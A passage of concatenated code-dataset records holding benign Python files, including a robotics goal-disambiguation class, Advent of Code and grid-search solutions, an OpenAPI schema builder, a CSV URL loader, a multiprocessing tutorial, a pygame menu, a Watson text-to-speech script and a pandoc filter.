Passing a class which is callable to map function\nclass Squares:\n def __call__(self, item):\n return item ** 2\n\ns = Squares()\nm = map(s, [1, 2, 3, 4, 5])\nprint(list(m))\n","sub_path":"4_Comprehensions/_maps.py","file_name":"_maps.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"227158305","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom random import sample\nimport numpy as np\nimport collections\nimport os\nimport pickle\nfrom scipy import special\nfrom scipy.stats import entropy\nimport itertools\nimport sys\nimport rospkg\n\nsys.path.append(os.path.join(rospkg.RosPack().get_path(\"simulators\"), \"scripts\"))\n\nfrom adaptive_assistance_sim_utils import TRUE_ACTION_TO_COMMAND, LOW_LEVEL_COMMANDS\nfrom adaptive_assistance_sim_utils import (\n AssistanceType,\n TRUE_TASK_ACTION_TO_INTERFACE_ACTION_MAP,\n TRUE_INTERFACE_ACTION_TO_TASK_ACTION_MAP,\n INTERFACE_LEVEL_ACTIONS,\n TASK_LEVEL_ACTIONS,\n INTERFACE_LEVEL_ACTIONS_TO_NUMBER_ID,\n CARTESIAN_MODE_SET_OPTIONS,\n)\n\n\nclass DiscreteMIDisambAlgo(object):\n def __init__(self, env_params, subject_id):\n\n self.env_params = env_params\n assert self.env_params is not None\n\n assert \"mdp_list\" in self.env_params\n assert \"spatial_window_half_length\" in self.env_params\n\n self.mdp_env_params = self.env_params[\"all_mdp_env_params\"]\n self.mdp_list = self.env_params[\"mdp_list\"]\n assert self.mdp_list is not None\n assert len(self.mdp_list) > 0\n\n self.subject_id = subject_id\n self.num_goals = len(self.mdp_list)\n self.SPATIAL_WINDOW_HALF_LENGTH = self.env_params[\"spatial_window_half_length\"]\n self.P_PHI_GIVEN_A = None\n self.P_PHM_GIVEN_PHI = None\n self.PHI_SPARSE_LEVEL = 0.0\n self.PHM_SPARSE_LEVEL = 0.0\n self.DEFAULT_PHI_GIVEN_A_NOISE = 0.1\n self.DEFAULT_PHM_GIVEN_PHI_NOISE = 0.1\n\n self.num_sample_trajectories = self.env_params.get(\"num_sample_trajectories\", 250)\n self.mode_set_type = self.env_params[\"mode_set_type\"]\n self.robot_type = self.env_params[\"robot_type\"]\n self.mode_set = CARTESIAN_MODE_SET_OPTIONS[self.robot_type][self.mode_set_type]\n self.num_modes = len(self.mode_set)\n self.num_discrete_orientations = self.mdp_env_params[\"num_discrete_orientations\"]\n\n self.num_modes = self.env_params.get(\"num_modes\", 3)\n self.kl_coeff = self.env_params.get(\"kl_coeff\", 0.8)\n self.dist_coeff = self.env_params.get(\"dist_coeff\", 0.2)\n\n self.avg_mi_for_valid_states = collections.OrderedDict()\n self.avg_dist_for_valid_states_from_goals = collections.OrderedDict()\n self.avg_total_reward_for_valid_states = collections.OrderedDict()\n\n self.distribution_directory_path = os.path.join(\n os.path.dirname(os.path.dirname(__file__)), \"se2_personalized_distributions\"\n )\n # unify the initialization of these distribution between different classes\n # init all distributions from file\n if os.path.exists(os.path.join(self.distribution_directory_path, str(self.subject_id) + \"_p_phi_given_a.pkl\")):\n print(\"LOADING PERSONALIZED P_PHI_GIVEN_A\")\n with open(\n os.path.join(self.distribution_directory_path, str(self.subject_id) + \"_p_phi_given_a.pkl\"), \"rb\"\n ) as fp:\n self.P_PHI_GIVEN_A = pickle.load(fp)\n else:\n self.P_PHI_GIVEN_A = collections.OrderedDict()\n self.init_P_PHI_GIVEN_A()\n\n if os.path.exists(\n os.path.join(self.distribution_directory_path, str(self.subject_id) + \"_p_phm_given_phi.pkl\")\n ):\n print(\"LOADING PERSONALIZED P_PHM_GIVEN_PHI\")\n with open(\n os.path.join(self.distribution_directory_path, str(self.subject_id) + \"_p_phm_given_phi.pkl\"), \"rb\"\n ) as fp:\n self.P_PHM_GIVEN_PHI = pickle.load(fp)\n else:\n self.P_PHM_GIVEN_PHI = collections.OrderedDict()\n self.init_P_PHM_GIVEN_PHI()\n\n print(\"Finished initializing DISAMB CLASS\")\n\n def get_local_disamb_state(self, prior, current_state):\n # compute window around current_state\n states_in_local_spatial_window = self._compute_spatial_window_around_current_state(current_state)\n print(states_in_local_spatial_window)\n print(len(states_in_local_spatial_window))\n # # perform mi computation for all states in spatial window\n self._compute_mi(prior, states_in_local_spatial_window)\n # # pick argmax among this list\n max_disamb_state = self._max_disambiguating_state()\n return max_disamb_state\n\n def _max_disambiguating_state(self):\n rewards = self.avg_total_reward_for_valid_states.values()\n amax = np.argmax(rewards)\n max_disamb_state = list(self.avg_total_reward_for_valid_states.keys())[amax]\n return max_disamb_state\n\n def _compute_mi(self, prior, states_for_disamb_computation=None):\n self.avg_mi_for_valid_states = collections.OrderedDict()\n self.avg_dist_for_valid_states_from_goals = collections.OrderedDict()\n self.avg_total_reward_for_valid_states = collections.OrderedDict()\n\n assert len(prior) == self.num_goals\n\n for i, vs in enumerate(states_for_disamb_computation):\n # print(\"Computing MI for \", vs)\n traj_list = collections.defaultdict(list)\n for t in range(self.num_sample_trajectories):\n sampled_goal_index = np.random.choice(self.num_goals)\n mdp_for_sampled_goal = self.mdp_list[sampled_goal_index]\n # sub optimal a_sampled\n a_sampled = mdp_for_sampled_goal.get_optimal_action(vs, return_optimal=False)\n # sampled corrupted interface level action corresponding to task-level action, could be None\n phi = self.sample_phi_given_a(a_sampled)\n # corrupted interface level action, could be None\n phm = self.sample_phm_given_phi(phi)\n if phm != \"None\":\n applied_a = TRUE_INTERFACE_ACTION_TO_TASK_ACTION_MAP[phm]\n else:\n applied_a = \"None\"\n\n next_state = mdp_for_sampled_goal.get_next_state_from_state_action(vs, applied_a)\n traj_tuple = (vs, a_sampled, phi, phm, applied_a, next_state)\n traj_list[sampled_goal_index].append(traj_tuple)\n\n p_phm_g_s0 = collections.defaultdict(list) # p(phm | g, s0)\n for g in traj_list.keys():\n for traj_g in traj_list[g]:\n (vs, a_sampled, phi, phm, applied_a, next_state) = traj_g\n p_phm_g_s0[g].append(INTERFACE_LEVEL_ACTIONS_TO_NUMBER_ID[phm])\n\n # p(phm|s). is a list instead of defaultdict(list) because all actions are just combinaed\n p_phm_s0 = []\n for g in p_phm_g_s0.keys():\n p_phm_s0.extend(p_phm_g_s0[g])\n\n ph_actions_ids = INTERFACE_LEVEL_ACTIONS_TO_NUMBER_ID.values()\n\n # histogram\n p_phm_s0_hist = collections.Counter(p_phm_s0)\n # to make sure that all interface level actions are present in the histogram\n for ph_action_id in ph_actions_ids:\n if ph_action_id not in p_phm_s0_hist.keys():\n p_phm_s0_hist[ph_action_id] = 0\n\n p_phm_s = np.array(p_phm_s0_hist.values(), dtype=np.float32)\n p_phm_s = p_phm_s / np.sum(p_phm_s)\n kl_list = []\n for g in p_phm_g_s0.keys():\n p_phm_g_s_hist = collections.Counter(p_phm_g_s0[g])\n for ph_action_id in ph_actions_ids:\n if ph_action_id not in p_phm_g_s_hist.keys():\n p_phm_g_s_hist[ph_action_id] = 0\n\n assert len(p_phm_g_s_hist) == len(p_phm_s)\n p_phm_g_s = np.array(p_phm_g_s_hist.values(), dtype=np.float32)\n p_phm_g_s = p_phm_g_s / np.sum(p_phm_g_s)\n kl = np.sum(special.rel_entr(p_phm_g_s, p_phm_s))\n kl_list.append(kl)\n\n self.avg_mi_for_valid_states[vs] = np.mean(kl_list) # averaged over goals.\n self.avg_total_reward_for_valid_states[vs] = self.kl_coeff * (self.avg_mi_for_valid_states[vs])\n # normalized to grid dimensions\n # avg_dist_of_vs_from_goals = np.mean(\n # np.linalg.norm(\n # (np.array(self.mdp_env_params[\"all_goals\"]) - np.array(vs[:2]))\n # / np.array([GRID_WIDTH, GRID_HEIGHT], dtype=np.float32),\n # axis=1,\n # )\n # )\n\n def _compute_spatial_window_around_current_state(self, current_state):\n current_grid_loc = np.array(current_state[0:2]) # (x,y)\n states_in_local_spatial_window = []\n current_orientation = current_state[2]\n\n # Add todo to ensure that self.mdp list is not None\n all_state_coords = self.mdp_list[0].get_all_state_coords()\n window_coordinates = itertools.product(\n range(-self.SPATIAL_WINDOW_HALF_LENGTH + 1, self.SPATIAL_WINDOW_HALF_LENGTH),\n range(-self.SPATIAL_WINDOW_HALF_LENGTH + 1, self.SPATIAL_WINDOW_HALF_LENGTH),\n )\n for wc in window_coordinates:\n vs = current_grid_loc + np.array(wc) # 2d grid loc\n for mode in range(self.num_modes): #\n vs_mode = (vs[0], vs[1], current_orientation, mode + 1)\n if vs_mode in all_state_coords:\n states_in_local_spatial_window.append(vs_mode)\n\n return states_in_local_spatial_window\n\n def sample_phi_given_a(self, a): # sample from p(phii|a)\n d = np.random.rand()\n\n if d < self.PHI_SPARSE_LEVEL:\n phi = \"None\"\n else:\n p_vector = self.P_PHI_GIVEN_A[a].values() # list of probabilities for phii\n # sample from the multinomial distribution with distribution p_vector\n phi_index_vector = np.random.multinomial(1, p_vector)\n phi_index = np.nonzero(phi_index_vector)[0][\n 0\n ] # grab the index of the index_vector which had a nonzero entry\n phi = self.P_PHI_GIVEN_A[a].keys()[phi_index] # retrieve phii using the phi_index\n # will be not None\n\n return phi\n\n def sample_phm_given_phi(self, phi): # sample from p(phm|phi)\n d = np.random.rand()\n if phi != \"None\":\n if d < self.PHM_SPARSE_LEVEL:\n phm = \"None\"\n else:\n p_vector = self.P_PHM_GIVEN_PHI[phi].values() # list of probabilities for phm given phi\n phm_index_vector = np.random.multinomial(1, p_vector) # sample from the multinomial distribution\n # grab the index of the index_vector which had a nonzero entry\n phm_index = np.nonzero(phm_index_vector)[0][0]\n phm = self.P_PHM_GIVEN_PHI[phi].keys()[phm_index] # retrieve phm\n else:\n print(\"Sampled phi is None, therefore phm is None\")\n phm = \"None\"\n\n return phm\n\n # TODO consolidate the following two functions so that both goal inference and\n # goal disamb both have the same set of information regarding interface noise\n def init_P_PHI_GIVEN_A(self):\n # only to be done at the beginning of a session for a subject. No updating between trials\n self.P_PHI_GIVEN_A = collections.OrderedDict()\n for k in TRUE_TASK_ACTION_TO_INTERFACE_ACTION_MAP.keys(): # task level action\n self.P_PHI_GIVEN_A[k] = collections.OrderedDict()\n for u in INTERFACE_LEVEL_ACTIONS:\n if u == TRUE_TASK_ACTION_TO_INTERFACE_ACTION_MAP[k]:\n # try to weight the true command more for realistic purposes. Can be offset by using a high PHI_GIVEN_A_NOISE\n self.P_PHI_GIVEN_A[k][u] = 1.0\n else:\n self.P_PHI_GIVEN_A[k][u] = 0.0\n\n delta_dist = np.array(list(self.P_PHI_GIVEN_A[k].values()))\n uniform_dist = (1.0 / len(INTERFACE_LEVEL_ACTIONS)) * np.ones(len(INTERFACE_LEVEL_ACTIONS))\n blended_dist = (\n 1 - self.DEFAULT_PHI_GIVEN_A_NOISE\n ) * delta_dist + self.DEFAULT_PHI_GIVEN_A_NOISE * uniform_dist # np.array\n for index, u in enumerate(INTERFACE_LEVEL_ACTIONS):\n self.P_PHI_GIVEN_A[k][u] = blended_dist[index]\n\n def init_P_PHM_GIVEN_PHI(self):\n \"\"\"\n Generates a random p(um|ui). key = ui, subkey = um\n \"\"\"\n self.P_PHM_GIVEN_PHI = collections.OrderedDict()\n for i in INTERFACE_LEVEL_ACTIONS: # ui\n self.P_PHM_GIVEN_PHI[i] = collections.OrderedDict()\n for j in INTERFACE_LEVEL_ACTIONS: # um\n if i == j:\n # try to weight the true command more for realistic purposes. Can be offset by using a high UM_GIVEN_UI_NOISE\n self.P_PHM_GIVEN_PHI[i][j] = 1.0\n else:\n # P_PHM_GIVEN_PHI[i][j] = np.random.random()*UM_GIVEN_UI_NOISE#IF UM_GIVEN_UI_NOISE is 0, then the p(um|ui) is a deterministic mapping\n self.P_PHM_GIVEN_PHI[i][j] = 0.0\n\n delta_dist = np.array(list(self.P_PHM_GIVEN_PHI[i].values()))\n uniform_dist = (1.0 / len(INTERFACE_LEVEL_ACTIONS)) * np.ones(len(INTERFACE_LEVEL_ACTIONS))\n blended_dist = (\n 1 - self.DEFAULT_PHM_GIVEN_PHI_NOISE\n ) * delta_dist + self.DEFAULT_PHM_GIVEN_PHI_NOISE * uniform_dist # np.array\n for index, j in enumerate(INTERFACE_LEVEL_ACTIONS):\n self.P_PHM_GIVEN_PHI[i][j] = blended_dist[index]\n","sub_path":"src/disamb_algo/src/disamb_algo/discrete_mi_disamb_algo.py","file_name":"discrete_mi_disamb_algo.py","file_ext":"py","file_size_in_byte":13438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"187621721","text":"from sys import stdin\n\n\ndelta = [(1,0), (0,1), (1,1), (-1,0), (0,-1), (-1,-1), (1,-1), (-1,1)]\n\n\ndef dfs(grid, visited, ini):\n global delta\n visited[ini[0]][ini[1]], stack, ans = True, [(ini[0],ini[1])], 1\n\n while len(stack) != 0:\n i, j = stack.pop()\n\n for deltaI, deltaJ in delta:\n di, dj = i+deltaI, j+deltaJ \n if(0 <= di < len(grid) and 0 <= dj < len(grid[0]) and not visited[di][dj] and grid[di][dj] == '1'):\n ans += 1\n stack.append((di,dj))\n visited[di][dj] = True\n return ans\n\n \n\ndef main():\n global delta\n cases, first = int(stdin.readline()), True; stdin.readline()\n\n for case in range(cases): \n if(not first): print(\"\")\n line, grid, first = stdin.readline()[:-1], list(), False\n\n while(line != \"\"):\n grid.append(line)\n line = stdin.readline()[:-1]\n visited = [[False for _ in range(len(grid[0]))] for _ in range(len(grid))]\n\n i, maximum = 0, 0\n while(i < len(grid)):\n j = 0\n while(j < len(grid[0])):\n if(not visited[i][j] and grid[i][j] == '1'):\n visited[i][j] = True\n maximum = max(maximum, dfs(grid, visited, (i, j)))\n j += 1 \n i += 1\n\n print(maximum)\n\nmain()","sub_path":"871.py","file_name":"871.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"134634114","text":"import sys\nimport collections\n\ndef findind(line, windowsize = 4):\n def all_unique(d):\n return len(set(d)) == len(d)\n\n window = collections.deque()\n for i in range(len(line)):\n if len(window) < windowsize:\n window.append(line[i])\n continue\n\n if all_unique(window):\n return i\n\n window.popleft()\n window.append(line[i])\n\ndef main():\n for line in sys.stdin.readlines():\n line = line.strip()\n print(findind(line))\n\nmain()\n","sub_path":"advent_of_code/2022/06/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301300725","text":"import inspect\nfrom typing import Any\nfrom typing import List\n\nfrom django.http.response import HttpResponseBase\nfrom drf_yasg import openapi\n\nfrom winter.core import ComponentMethod\nfrom winter.web.default_response_status import get_default_response_status\nfrom winter.web.exceptions import MethodExceptionsManager\nfrom winter.web.exceptions import exception_handlers_registry\nfrom winter.web.routing import Route\nfrom .route_parameters_inspector import get_route_parameters_inspectors\nfrom .type_inspection import InspectorNotFound\nfrom .type_inspection import inspect_type\n\n\nclass CanNotInspectReturnType(Exception):\n\n def __init__(\n self,\n method: ComponentMethod,\n return_type: Any,\n message: str,\n ):\n self._return_type = return_type\n self._message = message\n self._method = method\n\n def __repr__(self):\n return f'{self.__class__.__name__}({self})'\n\n def __str__(self):\n component_cls = self._method.component.component_cls\n method_path = f'{component_cls.__module__}.{self._method.full_name}'\n return f'{method_path}: -> {self._return_type}: {self._message}'\n\n\ndef build_responses_schemas(route: Route):\n responses = {}\n http_method = route.http_method\n response_status = str(get_default_response_status(http_method, route.method))\n\n responses[response_status] = build_response_schema(route.method)\n method_exceptions_manager = MethodExceptionsManager(route.method)\n\n for exception_cls in method_exceptions_manager.declared_exception_classes:\n handler = method_exceptions_manager.get_handler(exception_cls)\n if handler is None:\n handler = exception_handlers_registry.get_handler(exception_cls)\n if handler is None:\n continue\n handle_method = ComponentMethod.get_or_create(handler.__class__.handle)\n response_status = str(get_default_response_status(http_method, handle_method))\n responses[response_status] = build_response_schema(handle_method)\n return responses\n\n\ndef build_response_schema(method: ComponentMethod):\n return_value_type = method.return_value_type\n\n if (\n return_value_type in (None, type(None))\n or (inspect.isclass(return_value_type) and issubclass(return_value_type, HttpResponseBase))\n ):\n return openapi.Response(description='')\n\n try:\n type_info = inspect_type(return_value_type)\n except InspectorNotFound as e:\n raise CanNotInspectReturnType(method, return_value_type, str(e))\n return type_info.get_openapi_schema(output=True)\n\n\ndef get_route_parameters(route: Route) -> List['openapi.Parameter']:\n parameters = []\n for inspector in get_route_parameters_inspectors():\n parameters += inspector.inspect_parameters(route)\n return parameters\n","sub_path":"winter_openapi/generation.py","file_name":"generation.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"86226179","text":"\"\"\"\nCopyright 2020 Christopher Andrews\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport os\nimport csv\nfrom urllib.parse import urlparse\n\nclass CSVLoader:\n def __init__(self, input_filepath, has_header, uri_column, filename_column):\n \"\"\" Loader class that helps to load CSV files\n :param input_filepath: Path of CSV file\n :param has_header: Whether the CSV file has a header or not\n :param uri_column: The column name or index of the column that contains the URIs\n :param filename_column: The column name or index of the column that contains the filenames, can be None\n \"\"\"\n\n # User must pass a valid csv file as the input_filepath argument as type str\n if input_filepath != \"\" and input_filepath != None and isinstance(input_filepath, str):\n if os.path.isfile(input_filepath):\n self.input_filepath = input_filepath\n else:\n raise FileNotFoundError(\"input_filepath %s is not a file!\" % input_filepath)\n elif input_filepath.lower().endswith(\".csv\") != True:\n raise Exception(\"input_filepath must be a valid *.csv file\")\n else: \n raise TypeError(\"input_filepath must be of type (str) and cannot be empty or None\")\n\n # Check if file has a header or not and represent with bool\n # TODO: Use csv.Sniffer().has_header as a fallback method if chosen\n if has_header is True or has_header is False:\n self.has_header = has_header\n else:\n raise TypeError(\"has_header must be of type (bool)\")\n\n # Allow users to pass the name of the column or the index of the column that contains the uri list, else raise exception\n # TODO: Add regex for detecting valid URI\n if uri_column != \"\" and uri_column != None and isinstance(uri_column, str):\n self.uri_column = self._translate_column_to_index(uri_column)\n elif isinstance(uri_column, int):\n self.uri_column = uri_column\n else:\n raise TypeError(\"uri_column must be either column name of type (str) or index of column of type (int)\")\n\n # Check if filename column is given, if empty or None, then assume that the filename is included in the uri\n if filename_column != \"\" and filename_column != None and isinstance(filename_column, str):\n self.filename_column = self._translate_column_to_index(filename_column)\n elif isinstance(filename_column, int):\n self.filename_column = filename_column\n else:\n self.filename_column = None\n\n # Create an empty dict\n self.uri_dict = {}\n\n def _translate_column_to_index(self, column_name):\n \"\"\" Takes a column name (str) and attempts to find the index (int), if not found, raise exception\n :param column_name: The column header name as a (str) for example: my_url_row\n :return: int if index was found\n \"\"\"\n if self.has_header == True:\n with open(self.input_filepath, 'r', encoding='utf-8') as in_file:\n reader = csv.reader(in_file)\n for i, line in enumerate(reader):\n if i < len(line):\n if column_name in line[i]:\n return i\n raise Exception(\"Could not locate filename column: %s\" % column_name)\n else:\n raise Exception(\"Cannot convert column name string to index, input_file does not have a header!\")\n\n def _set_uri_dict(self):\n \"\"\" Setter method for loading and parsing the CSV File\n \"\"\"\n with open(self.input_filepath, 'r', encoding='utf-8') as in_file:\n uri_dict_temp = {}\n reader = csv.reader(in_file)\n\n # If the filename is not specified, use netloc as filename + index of iteration\n if self.filename_column == None:\n # Exclude header if has_header is True\n if self.has_header == True:\n next(reader)\n for i, line in enumerate(reader):\n parsed_uri = urlparse(line[self.uri_column]).netloc.replace(\".\", \"_\").replace(':', \"_\")\n uri_dict_temp[parsed_uri + \"_%i\" %i] = line[self.uri_column]\n else:\n for i, line in enumerate(reader):\n parsed_uri = urlparse(line[self.uri_column]).netloc.replace(\".\", \"_\").replace(':', \"_\")\n uri_dict_temp[parsed_uri + \"_%i\" %i] = line[self.uri_column]\n\n # Exclude header if has_header is True\n elif isinstance(self.filename_column, int):\n if self.has_header == True:\n next(reader)\n for line in reader:\n uri_dict_temp[line[self.filename_column]] = line[self.uri_column]\n else:\n for line in reader:\n uri_dict_temp[line[self.filename_column]] = line[self.uri_column]\n \n # Replace dict with temp dict\n self.uri_dict = uri_dict_temp \n\n # Get the uri dict\n def get_uri_dict(self):\n self._set_uri_dict()\n return self.uri_dict","sub_path":"pywebcapture/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":5713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115582632","text":"import collections\nimport re\n\n\ndef main():\n with open(\"input.txt\") as fh:\n data = fh.read()\n\n fabric = collections.defaultdict(int)\n pattern = re.compile(r\"#\\d+\\s@\\s(\\d+),(\\d+):\\s(\\d+)x(\\d+)\")\n for (xpos, ypos, w, h) in map(lambda i: map(int, i), pattern.findall(data)):\n for y in range(ypos, ypos + h):\n for x in range(xpos, xpos + w):\n fabric[(x, y)] += 1\n print(len(list(filter(lambda claim: claim[1] >= 2, fabric.items()))))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"project03/sliceit.py","file_name":"sliceit.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"537203833","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n进程和线程的操作方法基本是一致的\n\n进程之间的数据是相互独立的\n要想进程之间的数据进行共享，就要使用进程中特殊的队列----跟模块queue中的队列不一样，这里说的队列是进程特殊化的队列\n\"\"\"\n\n\"\"\"\n#证明进程之间数据是相互独立的\nfrom multiprocessing import Process\n\ndef f(arg,l):\n l.append(arg)\n print(arg,l)\n\n\nif __name__ == '__main__':\n li = [] # 进程之间数据是相互独立的，所以每个进程向列表中添加元素不会影响其他进程的列表\n for i in range(10):\n p = Process(target=f,args=(i,li))\n p.start()\n print(li)\n\"\"\"\n\n\"\"\"\n# 进程之间数据共享方法一\nfrom multiprocessing import Process\nfrom multiprocessing import queues\nimport multiprocessing\n\ndef f(arg,q):\n q.put(arg)\n print(arg,'个数：',q.qsize())\n\n\nif __name__ == '__main__':\n q = queues.Queue(20,ctx=multiprocessing) # 必须传递一个ctx参数，用来调用进程锁----进程模块调用锁的类是multiprocessing（multiprocessing.Lock()）\n for i in range(10):\n p = Process(target=f,args=(i,q))\n p.start()\n\n\n\n\n# 进程之间数据共享方法二:使用数组----不常用\nfrom multiprocessing import Process\nfrom multiprocessing import Array\nimport multiprocessing\n\ndef f(arg,arr):\n arr[arg] += arg + 100\n for item in arr:\n print(item)\n print('======================')\n\n\nif __name__ == '__main__':\n arr = Array('i',10)\n for i in range(10):\n p = Process(target=f,args=(i,arr))\n p.start()\n\n\"\"\"\n# 进程之间数据共享方法三：特殊的字典\n#字典是在主进程中创建的，当主进程指向完毕，会断开和子进程的连接，这时子进程就找不到主进程中定义的字典，就会报错\nfrom multiprocessing import Process\nfrom multiprocessing import Manager\n\n\ndef f(arg,dic):\n dic[arg] = arg + 100\n print(dic.values())\n\n\nif __name__ == '__main__':\n obj = Manager()\n dic = obj.dict()\n for i in range(10):\n p = Process(target=f,args=(i,dic))\n p.start()\n p.join()","sub_path":"day11/10-进程.py","file_name":"10-进程.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"430858330","text":"# \"get_find\" 함수를 작성하세요.\n# 문자와 문자열이 주어졌을때, \"get_find\" 함수는 주어진 문자열에서 함께 주어진 문자가 나타나는 첫번째 위치를 반환합니다.\n# Notes:\n# 문자열의 첫번째 문자는 인덱스 값 0 을 가집니다.\n# 만약 문자열에 해당 문자가 여러번 나타나면, 첫번째로 나타나는 위치를 반환해야 합니다.\n# 만약 문자가 문자열에 존재하지 않는다면, -1 을 반환해야 합니다.\n# find 함수를 사용하지 마세요.\n# output = get_find('a', 'I am a hacker')\n# print(output) # --> 2\n\n\ndef get_find(x, s):\n for i in range(len(s)):\n if s[i] == x:\n return i \n return -1\n \n\nprint(get_find('a', 'I am a hacker'))\nprint(get_find('a','la')) \nprint(get_find('c','abrakadabra'))\n\n\n#주어진 리스트안에 있는 단어중 가장 긴 단어를 찾을수 있도록 함수를 완성해주세요.\ndef find_longest_word(s):\n return max(s, key=len)\n\nprint(find_longest_word([\"PHP\", \"Exercises\", \"Backend\"]))","sub_path":"replit quiz1.py","file_name":"replit quiz1.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"147727345","text":"import sys\n\nimport pygame as pg\n\nimport sounds\n\nsetBtn = 1\ncolor = 'grey'\n\n\ndef checkEvents(setting, screen, stats, sb, playBtn, greyBtn, redBtn, blueBtn, quitBtn, menuBtn, sel, ship, aliens,\n bullets, eBullets):\n \"\"\"Respond to keypresses and mouse events.\"\"\"\n global setBtn, color\n for event in pg.event.get():\n # Check for quit event\n if event.type == pg.QUIT:\n sys.exit()\n # Check for key down has been pressed\n elif event.type == pg.KEYDOWN:\n # Check if down, up, enter, esc is pressed\n if event.key == pg.K_DOWN:\n if setBtn < 5:\n sounds.control_menu.play()\n setBtn += 1\n sel.rect.y += 50\n if event.key == pg.K_UP:\n if setBtn > 1:\n sounds.control_menu.play()\n setBtn -= 1\n sel.rect.y -= 50\n if event.key == pg.K_RETURN:\n if setBtn == 1:\n # default mode\n sounds.start_game.play()\n color = 'grey'\n ship.image = pg.image.load(checkColor())\n stats.mainMenu = False\n stats.mainGame = True\n stats.playMenu = False\n stats.twoPlayer = False\n stats.mainAbout = False\n setBtn = 1\n sel.rect.centery = playBtn.rect.centery\n elif setBtn == 2:\n sounds.start_game.play()\n color = 'red'\n ship.image = pg.image.load(checkColor())\n stats.mainMenu = False\n stats.mainGame = True\n stats.playMenu = False\n stats.twoPlayer = False\n stats.mainAbout = False\n setBtn = 1\n sel.rect.centery = playBtn.rect.centery\n elif setBtn == 3:\n sounds.start_game.play()\n color = 'blue'\n ship.image = pg.image.load(checkColor())\n stats.mainMenu = False\n stats.mainGame = True\n stats.playMenu = False\n stats.twoPlayer = False\n stats.mainAbout = False\n setBtn = 1\n sel.rect.centery = playBtn.rect.centery\n elif setBtn == 4:\n # menu btn\n sounds.select_menu.play()\n stats.mainMenu = True\n stats.mainGame = False\n stats.playMenu = False\n stats.twoPlayer = False\n stats.mainAbout = False\n setBtn = 1\n sel.rect.centery = playBtn.rect.centery\n elif setBtn == 5:\n sys.exit()\n if event.key == pg.K_ESCAPE:\n sys.exit()\n\n\ndef drawMenu(setting, screen, sb, greyBtn, redBtn, blueBtn, menuBtn, quitBtn, sel):\n \"\"\"Draw the menu and all of its elements\"\"\"\n global image, rect\n screen.fill(setting.bgColor)\n menuBtn.rect.y = 350\n menuBtn.msgImageRect.y = 350\n quitBtn.rect.y = 400\n quitBtn.msgImageRect.y = 400\n menuBtn.drawBtn()\n quitBtn.drawBtn()\n greyBtn.drawBtn()\n redBtn.drawBtn()\n blueBtn.drawBtn()\n sel.blitme()\n pg.display.flip()\n\n\ndef checkColor():\n return 'gfx/player_' + color + '.bmp'\n","sub_path":"playMenu.py","file_name":"playMenu.py","file_ext":"py","file_size_in_byte":3524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"575196954","text":"from watson_developer_cloud import TextToSpeechV1\nfrom credential.watsonC import ApiKeyTTS as watsonApiKey\nfrom robots.state import saveContent,loadContent\n\ndef robotVoice():\n text_to_speech = TextToSpeechV1(\n iam_apikey= watsonApiKey['iam_apikey'],\n url=watsonApiKey['url']\n )\n def sentencesToVoice(sentence,filename):\n output = './content/{}-audio.wav'.format(filename)\n try:\n with open(output, 'wb') as audio_file:\n audio_file.write(\n text_to_speech.synthesize(\n sentence,\n voice='en-US_AllisonVoice',\n accept='audio/wav' \n ).get_result().content)\n return True\n except:\n return False\n \n \n def fetchVoicesOfAllSentences(content):\n print('> Fetching voices of all sentences...')\n for i,item in enumerate(content['sentences']):\n content['sentences'][i]['audio'] = sentencesToVoice(content['sentences'][i]['text'],i)\n print('> Fetch voices of all sentences concluded')\n return content\n \n content = loadContent()\n fetchVoicesOfAllSentences(content)\n saveContent(content)","sub_path":"robots/voice.py","file_name":"voice.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168925400","text":"from pandocfilters import toJSONFilter, Header, attributes\n\ndef cscify(key, value, format, meta):\n # image location depends on the theme\n try:\n theme = meta['theme']['c'][0]['c']\n except:\n theme = 'default'\n template = u'theme/{0}/img/%s.png'.format(theme)\n # markdown: special class names trigger loading of a data background image\n # and replacement with a corresponding generic class name\n if key == 'Header' and value[0] == 1:\n if 'data-background' not in [x[0] for x in value[1][2]]:\n for key in ['title-en', 'title-fi', 'author', 'section']:\n if key in value[1][1]:\n value[1][1].remove(key)\n value[1][2].append([u'data-background', template % key])\n if key == 'author':\n value[1][1].append(u'author-slide')\n elif key == 'section':\n value[1][1].append(u'section-slide')\n else:\n value[1][1].append(u'title-slide')\n return Header(value[0], value[1], value[2])\n # reST: special class name in a container Div triggers the same as above,\n # but only the modified Header is returned\n elif key == 'Div' and value[1][0]['t'] == 'Header':\n for key in ['title-en', 'title-fi', 'author', 'section']:\n if key in value[0][1]:\n header = value[1][0]['c']\n 